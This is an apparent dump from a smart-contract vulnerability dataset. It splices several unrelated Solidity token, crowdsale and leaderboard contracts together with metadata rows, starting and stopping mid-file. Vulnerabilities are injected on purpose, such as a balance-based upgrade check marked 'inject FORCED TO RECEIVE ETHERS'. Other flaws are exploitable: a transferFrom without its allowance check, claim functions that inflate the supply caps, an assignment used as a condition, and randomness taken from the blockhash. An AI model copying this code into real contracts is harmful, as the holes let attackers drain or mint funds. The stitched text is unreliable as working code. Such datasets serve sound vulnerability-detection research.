// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
uint256 _totalSupply;
function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint balance);
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
function approve(address _spender, uint _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint remaining);
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
}
contract BasicToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
// Owner of account approves the transfer of an amount to another account
mapping(address => mapping (address => uint256)) allowed;
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value
&& _value > 0
&& balances[_to] + _value > balances[_to]) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
// Send _value amount of tokens from address _from to address _to
// The transferFrom method is used for a withdraw workflow, allowing contracts to send
// tokens on your behalf, for example to "deposit" to a contract address and/or to charge
// fees in sub-currencies; the command should fail unless the _from account has
// deliberately authorized the sender of the message via some mechanism; we propose
// these standardized APIs for approval:
function transferFrom(address _from,address _to, uint256 _amount) returns (bool success) {
if (balances[_from] >= _amount
&& allowed[_from][msg.sender] >= _amount
&& _amount > 0
&& balances[_to] + _amount > balances[_to]) {
balances[_from] -= _amount;
allowed[_from][msg.sender] -= _amount;
balances[_to] += _amount;
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function totalSupply() constant returns (uint256 totalSupply) {
totalSupply = _totalSupply;
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
var _allowance = allowed[_from][msg.sender];
// require (_value <= _allowance);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
// Functions with this modifier can only be executed by the owner
modifier onlyOwner() {
if (msg.sender != owner) {
revert();
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
_totalSupply = _totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract NatCoin is MintableToken {
string public constant name = "NATCOIN";
string public constant symbol = "NTC";
uint256 public constant decimals = 18;
}
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// start and end block where investments are allowed (both inclusive)
uint256 public startBlock;
uint256 public endBlock;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function Crowdsale(uint256 _startBlock, uint256 _endBlock, uint256 _rate, address _wallet) {
require(_startBlock >= block.number);
require(_endBlock >= _startBlock);
require(_rate > 0);
require(_wallet != 0x0);
token = createTokenContract();
startBlock = _startBlock;
endBlock = _endBlock;
rate = _rate;
wallet = _wallet;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific mintable token.
function createTokenContract() internal returns (MintableToken) {
return new MintableToken();
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) payable {
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
uint256 current = block.number;
bool withinPeriod = current >= startBlock && current <= endBlock;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return block.number > endBlock;
}
}
contract NatCoinCrowdsale is Crowdsale, Ownable {
uint256 public icoSupply;
uint256 public reserveSupply;
uint256 public paymentSupply;
uint256 public coreSupply;
uint256 public reveralSupply;
uint256 public usedIcoSupply;
uint256 public usedReserveSupply;
uint256 public usedPaymentSupply;
uint256 public usedCoreSupply;
uint256 public usedReveralSupply;
function getIcoSupply() public returns(uint256) { return icoSupply; }
function getReserveSupply() public returns(uint256) { return reserveSupply; }
function getPaymentSupply() public returns(uint256) { return paymentSupply; }
function getCoreSupply() public returns(uint256) { return coreSupply; }
function getReveralSupply() public returns(uint256) { return reveralSupply; }
function getUsedReserveSupply() public returns(uint256) { return usedReserveSupply; }
function getUsedPaymentSupply() public returns(uint256) { return usedPaymentSupply; }
function getUsedCoreSupply() public returns(uint256) { return usedCoreSupply; }
function getUsedReveralSupply() public returns(uint256) { return usedReveralSupply; }
NatCoin natcoinTokenContract;
function NatCoinCrowdsale(uint256 _startBlock, uint256 _endBlock, uint256 _rate, address _wallet) Crowdsale(_startBlock, _endBlock, _rate, _wallet) {
icoSupply = 5000000 * 10**17;
reserveSupply = 8000000 * 10**17;
paymentSupply = 11000000 * 10**17;
coreSupply = 10500000 * 10**17;
reveralSupply = 500000 * 10**17;
}
// creates the token to be sold.
// override this method to have crowdsale of a specific MintableToken token.
function createTokenContract() internal returns (MintableToken) {
return new NatCoin();
}
function claimReservedTokens(address _to, uint256 _amount) payable onlyOwner {
if (_amount > reserveSupply - usedReserveSupply) revert();
token.mint(_to, _amount);
reserveSupply += _amount;
}
function claimPaymentTokens(address _to, uint256 _amount) payable onlyOwner {
if (_amount > paymentSupply - usedPaymentSupply) revert();
token.mint(_to, _amount);
paymentSupply += _amount;
}
function claimCoreTokens(address _to, uint256 _amount) payable onlyOwner {
if (_amount > coreSupply - usedCoreSupply) revert();
natcoinTokenContract.mint(_to, _amount);
coreSupply += _amount;
}
function claimReveralTokens(address _to, uint256 _amount) payable onlyOwner {
if (_amount > reveralSupply - usedReveralSupply) revert();
natcoinTokenContract.mint(_to, _amount);
reveralSupply += _amount;
}
}
| 192,819 | 13,932 |
5c1191810d27fc26ea3db76ede6cf7a81877494d388dae442c170eddcde742bc
| 26,931 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
injectedContractDataSet/forcedToReceiveEthers/0x4cf89ca06ad997bc732dc876ed2a7f26a9e7f361_forcedToReceiveEthers.sol
| 4,338 | 17,137 |
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.11;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract IUpgradeAgent {
function isUpgradeAgent() external virtual pure returns (bool);
function upgradeFrom(address _from, uint256 _value) public virtual;
function originalSupply() public virtual view returns (uint256);
function originalToken() public virtual view returns (address);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract MystToken is Context, IERC20, IUpgradeAgent {
using SafeMath for uint256;
using Address for address;
address immutable _originalToken; // Address of MYSTv1 token
uint256 immutable _originalSupply; // Token supply of MYSTv1 token
// The original MYST token and the new MYST token have a decimal difference of 10.
// As such, minted values as well as the total supply comparisons need to offset all values
// by 10 zeros to properly compare them.
uint256 constant private DECIMAL_OFFSET = 1e10;
bool constant public override isUpgradeAgent = true; // Upgradeability interface marker
address private _upgradeMaster; // He can enable future token migration
IUpgradeAgent private _upgradeAgent; // The next contract where the tokens will be migrated
uint256 private _totalUpgraded; // How many tokens we have upgraded by now
mapping(address => uint256) private _balances;
uint256 private _totalSupply;
string constant public name = "Mysterium";
string constant public symbol = "MYST";
uint8 constant public decimals = 18;
// EIP712
bytes32 public immutable DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
// The nonces mapping is given for replay protection in permit function.
mapping(address => uint) public nonces;
// ERC20-allowances
mapping (address => mapping (address => uint256)) private _allowances;
event Minted(address indexed to, uint256 amount);
event Burned(address indexed from, uint256 amount);
// State of token upgrade
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading, Completed}
// Token upgrade events
event Upgrade(address indexed from, address agent, uint256 _value);
event UpgradeAgentSet(address agent);
event UpgradeMasterSet(address master);
constructor(address originalToken) public {
// upgradability settings
_originalToken = originalToken;
_originalSupply = IERC20(originalToken).totalSupply();
// set upgrade master
_upgradeMaster = _msgSender();
// construct EIP712 domain separator
DOMAIN_SEPARATOR = keccak256(abi.encode(keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
_chainID(),
address(this)));
}
function totalSupply() public view override(IERC20) returns (uint256) {
return _totalSupply;
}
function balanceOf(address tokenHolder) public view override(IERC20) returns (uint256) {
return _balances[tokenHolder];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_move(_msgSender(), recipient, amount);
return true;
}
function burn(uint256 amount) public {
_burn(_msgSender(), amount);
}
function allowance(address holder, address spender) public view override returns (uint256) {
return _allowances[holder][spender];
}
function approve(address spender, uint256 value) public override returns (bool) {
_approve(_msgSender(), spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function permit(address holder, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'MYST: Permit expired');
bytes32 digest = keccak256(abi.encodePacked('\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, holder, spender, value, nonces[holder]++, deadline))));
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == holder, 'MYST: invalid signature');
_approve(holder, spender, value);
}
function transferFrom(address holder, address recipient, uint256 amount) public override returns (bool) {
// require(recipient != address(0), "MYST: transfer to the zero address");
require(holder != address(0), "MYST: transfer from the zero address");
address spender = _msgSender();
if (holder != spender && _allowances[holder][spender] != uint256(-1)) {
_approve(holder, spender, _allowances[holder][spender].sub(amount, "MYST: transfer amount exceeds allowance"));
}
_move(holder, recipient, amount);
return true;
}
function _mint(address holder, uint256 amount) internal {
require(holder != address(0), "MYST: mint to the zero address");
// Update state variables
_totalSupply = _totalSupply.add(amount);
_balances[holder] = _balances[holder].add(amount);
emit Minted(holder, amount);
emit Transfer(address(0), holder, amount);
}
function _burn(address from, uint256 amount) internal {
require(from != address(0), "MYST: burn from the zero address");
// Update state variables
_balances[from] = _balances[from].sub(amount, "MYST: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(from, address(0), amount);
emit Burned(from, amount);
}
function _move(address from, address to, uint256 amount) private {
// Sending to zero address is equal burning
if (to == address(0)) {
_burn(from, amount);
return;
}
_balances[from] = _balances[from].sub(amount, "MYST: transfer amount exceeds balance");
_balances[to] = _balances[to].add(amount);
emit Transfer(from, to, amount);
}
function _approve(address holder, address spender, uint256 value) internal {
require(holder != address(0), "MYST: approve from the zero address");
require(spender != address(0), "MYST: approve to the zero address");
_allowances[holder][spender] = value;
emit Approval(holder, spender, value);
}
// -------------- UPGRADE FROM v1 TOKEN --------------
function originalToken() public view override returns (address) {
return _originalToken;
}
function originalSupply() public view override returns (uint256) {
return _originalSupply;
}
function upgradeFrom(address _account, uint256 _value) public override {
require(msg.sender == originalToken(), "only original token can call upgradeFrom");
// Value is multiplied by 0e10 as old token had decimals = 8?
_mint(_account, _value.mul(DECIMAL_OFFSET));
require(totalSupply() <= originalSupply().mul(DECIMAL_OFFSET), "can not mint more tokens than in original contract");
}
// -------------- PREPARE FOR FUTURE UPGRADABILITY --------------
function upgradeMaster() public view returns (address) {
return _upgradeMaster;
}
function upgradeAgent() public view returns (address) {
return address(_upgradeAgent);
}
function totalUpgraded() public view returns (uint256) {
return _totalUpgraded;
}
function upgrade(uint256 amount) public {
UpgradeState state = getUpgradeState();
require(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading, "MYST: token is not in upgrading state");
require(amount != 0, "MYST: upgradable amount should be more than 0");
address holder = _msgSender();
// Burn tokens to be upgraded
_burn(holder, amount);
// Remember how many tokens we have upgraded
_totalUpgraded = _totalUpgraded.add(amount);
// Upgrade agent upgrades/reissues tokens
_upgradeAgent.upgradeFrom(holder, amount);
emit Upgrade(holder, upgradeAgent(), amount);
}
function setUpgradeMaster(address newUpgradeMaster) external {
require(newUpgradeMaster != address(0x0), "MYST: upgrade master can't be zero address");
require(_msgSender() == _upgradeMaster, "MYST: only upgrade master can set new one");
_upgradeMaster = newUpgradeMaster;
emit UpgradeMasterSet(upgradeMaster());
}
function setUpgradeAgent(address agent) external {
require(_msgSender()== _upgradeMaster, "MYST: only a master can designate the next agent");
require(agent != address(0x0), "MYST: upgrade agent can't be zero address");
require(getUpgradeState() != UpgradeState.Upgrading, "MYST: upgrade has already begun");
_upgradeAgent = IUpgradeAgent(agent);
require(_upgradeAgent.isUpgradeAgent(), "MYST: agent should implement IUpgradeAgent interface");
// Make sure that token supplies match in source and target
require(_upgradeAgent.originalSupply() == totalSupply(), "MYST: upgrade agent should know token's total supply");
emit UpgradeAgentSet(upgradeAgent());
}
function getUpgradeState() public view returns(UpgradeState) {
if(address(_upgradeAgent) == address(0x00)) return UpgradeState.WaitingForAgent;
else if(address(this).balance == 0) return UpgradeState.ReadyToUpgrade; //inject FORCED TO RECEIVE ETHERS
else if(address(this).balance == 0) return UpgradeState.Completed; //inject FORCED TO RECEIVE ETHERS
else return UpgradeState.Upgrading;
}
// -------------- FUNDS RECOVERY --------------
address internal _fundsDestination;
event FundsRecoveryDestinationChanged(address indexed previousDestination, address indexed newDestination);
function setFundsDestination(address newDestination) public {
require(_msgSender()== _upgradeMaster, "MYST: only a master can set funds destination");
require(newDestination != address(0), "MYST: funds destination can't be zero addreess");
_fundsDestination = newDestination;
emit FundsRecoveryDestinationChanged(_fundsDestination, newDestination);
}
function getFundsDestination() public view returns (address) {
return _fundsDestination;
}
function claimTokens(address token) public {
require(_fundsDestination != address(0), "MYST: funds destination can't be zero addreess");
uint256 amount = IERC20(token).balanceOf(address(this));
IERC20(token).transfer(_fundsDestination, amount);
}
// -------------- HELPERS --------------
function _chainID() private pure returns (uint256) {
uint256 chainID;
assembly {
chainID := chainid()
}
return chainID;
}
}
| 279,594 | 13,933 |
6eda19070c2769cdac27cc7614c5d9919450e9a7b2754df45fa59c346313fd79
| 17,307 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xabe64ec568aeb065d0445b9d76f511a7b5ea2d7f.sol
| 4,410 | 16,164 |
pragma solidity ^0.4.17;
contract AccessControl {
address public creatorAddress;
uint16 public totalSeraphims = 0;
mapping (address => bool) public seraphims;
bool public isMaintenanceMode = true;
modifier onlyCREATOR() {
require(msg.sender == creatorAddress);
_;
}
modifier onlySERAPHIM() {
require(seraphims[msg.sender] == true);
_;
}
modifier isContractActive {
require(!isMaintenanceMode);
_;
}
function AccessControl() public {
creatorAddress = msg.sender;
}
function addSERAPHIM(address _newSeraphim) onlyCREATOR public {
if (seraphims[_newSeraphim] == false) {
seraphims[_newSeraphim] = true;
totalSeraphims += 1;
}
}
function removeSERAPHIM(address _oldSeraphim) onlyCREATOR public {
if (seraphims[_oldSeraphim] == true) {
seraphims[_oldSeraphim] = false;
totalSeraphims -= 1;
}
}
function updateMaintenanceMode(bool _isMaintaining) onlyCREATOR public {
isMaintenanceMode = _isMaintaining;
}
}
contract SafeMath {
function safeAdd(uint x, uint y) pure internal returns(uint) {
uint z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint x, uint y) pure internal returns(uint) {
assert(x >= y);
uint z = x - y;
return z;
}
function safeMult(uint x, uint y) pure internal returns(uint) {
uint z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
function getRandomNumber(uint16 maxRandom, uint8 min, address privateAddress) constant public returns(uint8) {
uint256 genNum = uint256(block.blockhash(block.number-1)) + uint256(privateAddress);
return uint8(genNum % (maxRandom - min + 1)+min);
}
}
contract Enums {
enum ResultCode {
SUCCESS,
ERROR_CLASS_NOT_FOUND,
ERROR_LOW_BALANCE,
ERROR_SEND_FAIL,
ERROR_NOT_OWNER,
ERROR_NOT_ENOUGH_MONEY,
ERROR_INVALID_AMOUNT
}
enum AngelAura {
Blue,
Yellow,
Purple,
Orange,
Red,
Green
}
}
contract ISponsoredLeaderboardData is AccessControl {
uint16 public totalLeaderboards;
uint public contractReservedBalance;
function setMinMaxDays(uint8 _minDays, uint8 _maxDays) external ;
function openLeaderboard(uint8 numDays, string message) external payable ;
function closeLeaderboard(uint16 leaderboardId) onlySERAPHIM external;
function setMedalsClaimed(uint16 leaderboardId) onlySERAPHIM external ;
function withdrawEther() onlyCREATOR external;
function getTeamFromLeaderboard(uint16 leaderboardId, uint8 rank) public constant returns (uint64 angelId, uint64 petId, uint64 accessoryId) ;
function getLeaderboard(uint16 id) public constant returns (uint startTime, uint endTime, bool isLive, address sponsor, uint prize, uint8 numTeams, string message, bool medalsClaimed);
function newTeamOnEnd(uint16 leaderboardId, uint64 angelId, uint64 petId, uint64 accessoryId) onlySERAPHIM external;
function switchRankings (uint16 leaderboardId, uint8 spot,uint64 angel1ID, uint64 pet1ID, uint64 accessory1ID,uint64 angel2ID,uint64 pet2ID,uint64 accessory2ID) onlySERAPHIM external;
function verifyPosition(uint16 leaderboardId, uint8 spot, uint64 angelID) external constant returns (bool);
function angelOnLeaderboards(uint64 angelID) external constant returns (bool);
function petOnLeaderboards(uint64 petID) external constant returns (bool);
function accessoryOnLeaderboards(uint64 accessoryID) external constant returns (bool) ;
function safeMult(uint x, uint y) pure internal returns(uint) ;
function SafeDiv(uint256 a, uint256 b) internal pure returns (uint256) ;
function getTotalLeaderboards() public constant returns (uint16);
}
contract IAngelCardData is AccessControl, Enums {
uint8 public totalAngelCardSeries;
uint64 public totalAngels;
function createAngelCardSeries(uint8 _angelCardSeriesId, uint _basePrice, uint64 _maxTotal, uint8 _baseAura, uint16 _baseBattlePower, uint64 _liveTime) onlyCREATOR external returns(uint8);
function updateAngelCardSeries(uint8 _angelCardSeriesId, uint64 _newPrice, uint64 _newMaxTotal) onlyCREATOR external;
function setAngel(uint8 _angelCardSeriesId, address _owner, uint _price, uint16 _battlePower) onlySERAPHIM external returns(uint64);
function addToAngelExperienceLevel(uint64 _angelId, uint _value) onlySERAPHIM external;
function setAngelLastBattleTime(uint64 _angelId) onlySERAPHIM external;
function setAngelLastVsBattleTime(uint64 _angelId) onlySERAPHIM external;
function setLastBattleResult(uint64 _angelId, uint16 _value) onlySERAPHIM external;
function addAngelIdMapping(address _owner, uint64 _angelId) private;
function transferAngel(address _from, address _to, uint64 _angelId) onlySERAPHIM public returns(ResultCode);
function ownerAngelTransfer (address _to, uint64 _angelId) public;
function updateAngelLock (uint64 _angelId, bool newValue) public;
function removeCreator() onlyCREATOR external;
function getAngelCardSeries(uint8 _angelCardSeriesId) constant public returns(uint8 angelCardSeriesId, uint64 currentAngelTotal, uint basePrice, uint64 maxAngelTotal, uint8 baseAura, uint baseBattlePower, uint64 lastSellTime, uint64 liveTime);
function getAngel(uint64 _angelId) constant public returns(uint64 angelId, uint8 angelCardSeriesId, uint16 battlePower, uint8 aura, uint16 experience, uint price, uint64 createdTime, uint64 lastBattleTime, uint64 lastVsBattleTime, uint16 lastBattleResult, address owner);
function getOwnerAngelCount(address _owner) constant public returns(uint);
function getAngelByIndex(address _owner, uint _index) constant public returns(uint64);
function getTotalAngelCardSeries() constant public returns (uint8);
function getTotalAngels() constant public returns (uint64);
function getAngelLockStatus(uint64 _angelId) constant public returns (bool);
}
contract SponsoredLeaderboardData is ISponsoredLeaderboardData {
address public angelCardDataContract = 0x6D2E76213615925c5fc436565B5ee788Ee0E86DC;
struct Team {
uint64 angelId;
uint64 petId;
uint64 accessoryId;
}
struct Leaderboard {
uint startTime;
uint endTime;
Team rank0;
Team rank1;
Team rank2;
Team rank3;
bool isLive;
address sponsor;
uint prize;
uint16 id;
uint8 numTeams;
string message;
bool medalsClaimed;
}
Leaderboard [] Leaderboards;
uint16 public totalLeaderboards;
uint16 minDays= 4;
uint16 maxDays = 10;
uint public contractReservedBalance;
mapping (uint64 => bool) angelsOnLeaderboards;
mapping (uint64 => bool) petsOnLeaderboards;
mapping (uint64 => bool) accessoriesOnLeaderboards;
function setMinMaxDays(uint8 _minDays, uint8 _maxDays) external {
minDays = _minDays;
maxDays = _maxDays;
}
function openLeaderboard(uint8 numDays, string message) external payable {
if (msg.value < 10000000000000000) {revert();}
if ((numDays < minDays) || (numDays > maxDays)) {revert();}
Leaderboard memory leaderboard;
leaderboard.startTime = now;
leaderboard.endTime = (now + (numDays * 86400));
leaderboard.isLive = true;
leaderboard.sponsor = msg.sender;
leaderboard.prize = msg.value;
leaderboard.message = message;
leaderboard.id = totalLeaderboards;
leaderboard.medalsClaimed= false;
leaderboard.numTeams = 4;
Leaderboards.push(leaderboard);
Team memory team;
team.angelId = 1;
team.petId = 1;
team.accessoryId = 0;
Leaderboards[totalLeaderboards].rank1 = team;
Leaderboards[totalLeaderboards].rank2 = team;
Leaderboards[totalLeaderboards].rank3 = team;
Leaderboards[totalLeaderboards].rank0 = team;
totalLeaderboards +=1;
contractReservedBalance += msg.value;
}
function closeLeaderboard(uint16 leaderboardId) onlySERAPHIM external {
Leaderboard memory leaderboard;
leaderboard = Leaderboards[leaderboardId];
if (now < leaderboard.endTime) {revert();}
if (leaderboard.isLive = false) {revert();}
Leaderboards[leaderboardId].isLive = false;
IAngelCardData angelCardData = IAngelCardData(angelCardDataContract);
address owner1;
address owner2;
address owner3;
address owner4;
(,,,,,,,,,,owner1) = angelCardData.getAngel(Leaderboards[leaderboardId].rank0.angelId);
(,,,,,,,,,,owner2) = angelCardData.getAngel(Leaderboards[leaderboardId].rank1.angelId);
(,,,,,,,,,,owner3) = angelCardData.getAngel(Leaderboards[leaderboardId].rank2.angelId);
(,,,,,,,,,,owner4) = angelCardData.getAngel(Leaderboards[leaderboardId].rank3.angelId);
uint prize = Leaderboards[leaderboardId].prize;
owner1.transfer(SafeDiv(safeMult(prize,45), 100));
owner2.transfer(SafeDiv(safeMult(prize,25), 100));
owner3.transfer(SafeDiv(safeMult(prize,15), 100));
owner4.transfer(SafeDiv(safeMult(prize,5), 100));
angelsOnLeaderboards[Leaderboards[leaderboardId].rank0.angelId] = false;
petsOnLeaderboards[Leaderboards[leaderboardId].rank0.petId] = false;
accessoriesOnLeaderboards[Leaderboards[leaderboardId].rank0.accessoryId] = false;
angelsOnLeaderboards[Leaderboards[leaderboardId].rank1.angelId] = false;
petsOnLeaderboards[Leaderboards[leaderboardId].rank1.petId] = false;
accessoriesOnLeaderboards[Leaderboards[leaderboardId].rank1.accessoryId] = false;
angelsOnLeaderboards[Leaderboards[leaderboardId].rank2.angelId] = false;
petsOnLeaderboards[Leaderboards[leaderboardId].rank2.petId] = false;
accessoriesOnLeaderboards[Leaderboards[leaderboardId].rank2.accessoryId] = false;
angelsOnLeaderboards[Leaderboards[leaderboardId].rank3.angelId] = false;
petsOnLeaderboards[Leaderboards[leaderboardId].rank3.petId] = false;
accessoriesOnLeaderboards[Leaderboards[leaderboardId].rank3.accessoryId] = false;
contractReservedBalance= contractReservedBalance - SafeDiv(safeMult(prize,90), 100);
}
function setMedalsClaimed(uint16 leaderboardId) onlySERAPHIM external {
Leaderboards[leaderboardId].medalsClaimed = true;
}
function withdrawEther() external onlyCREATOR {
creatorAddress.transfer(this.balance-contractReservedBalance);
}
function getTeamFromLeaderboard(uint16 leaderboardId, uint8 rank) public constant returns (uint64 angelId, uint64 petId, uint64 accessoryId) {
if ((leaderboardId <0) || (rank <0) || (rank >3) || (leaderboardId > totalLeaderboards)) {revert();}
if (rank == 0) {
angelId = Leaderboards[leaderboardId].rank0.angelId;
petId = Leaderboards[leaderboardId].rank0.petId;
accessoryId = Leaderboards[leaderboardId].rank0.accessoryId;
return;
}
if (rank == 1) {
angelId = Leaderboards[leaderboardId].rank1.angelId;
petId = Leaderboards[leaderboardId].rank1.petId;
accessoryId = Leaderboards[leaderboardId].rank1.accessoryId;
return;
}
if (rank == 2) {
angelId = Leaderboards[leaderboardId].rank2.angelId;
petId = Leaderboards[leaderboardId].rank2.petId;
accessoryId = Leaderboards[leaderboardId].rank2.accessoryId;
return;
}
if (rank == 3) {
angelId = Leaderboards[leaderboardId].rank3.angelId;
petId = Leaderboards[leaderboardId].rank3.petId;
accessoryId = Leaderboards[leaderboardId].rank3.accessoryId;
return;
}
}
function getLeaderboard(uint16 id) public constant returns (uint startTime, uint endTime, bool isLive, address sponsor, uint prize, uint8 numTeams, string message, bool medalsClaimed) {
Leaderboard memory leaderboard;
